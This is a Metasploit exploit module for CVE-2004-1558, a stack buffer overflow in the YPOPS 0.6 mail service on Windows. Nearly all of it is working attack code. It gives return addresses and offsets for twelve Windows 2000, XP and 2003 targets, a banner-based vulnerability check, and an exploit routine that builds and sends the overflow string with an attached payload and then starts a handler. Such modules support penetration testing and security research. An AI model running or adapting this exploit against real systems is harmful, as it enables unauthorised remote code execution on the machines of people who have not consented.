##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Smtp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'YPOPS 0.6 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the YPOPS POP3
        service.

        This is a classic stack buffer overflow for YPOPS version 0.6.
        Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
        jmp ebx opcode in ws_32.dll
      },
      'Author'         => [ 'acaro <acaro[at]jervus.it>' ],
      'References'     =>
        [
          [ 'CVE', '2004-1558'],
          [ 'OSVDB', '10367'],
          [ 'BID', '11256'],
          [ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
        ],
      'Platform'       => 'win',
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1200,
          'BadChars' => "\x00\x25",
          'MinNops'  => 106,
        },
      'Targets'        =>
        [
          [ 'Windows 2000 SP0 Italian',   { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
          [ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
          [ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
          [ 'Windows 2000 SP0 English',   { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
          [ 'Windows 2000 SP1 English',   { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
          [ 'Windows 2000 SP2 English',   { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
          [ 'Windows 2000 SP3 English',   { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
          [ 'Windows 2000 SP4 English',   { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
          [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
          [ 'Windows XP SP2 English',     { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
          [ 'Windows 2003 SP0 English',   { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
          [ 'Windows 2003 SP1 English',   { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
        ],
      'DisclosureDate' => '2004-09-27'))
  end

  def check
    connect
    disconnect

    banner.gsub!(/\n/, '')

    if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
      vprint_status("Vulnerable SMTP server: #{banner}")
      return Exploit::CheckCode::Detected
    end

    vprint_status("Unknown SMTP server: #{banner}")
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    pattern =
      rand_text_alpha(target['Offset'] - payload.encoded.length) +
      payload.encoded +
      [target.ret].pack('V') +
      "\n"

    print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")

    sock.put(pattern)

    handler
    disconnect
  end
end
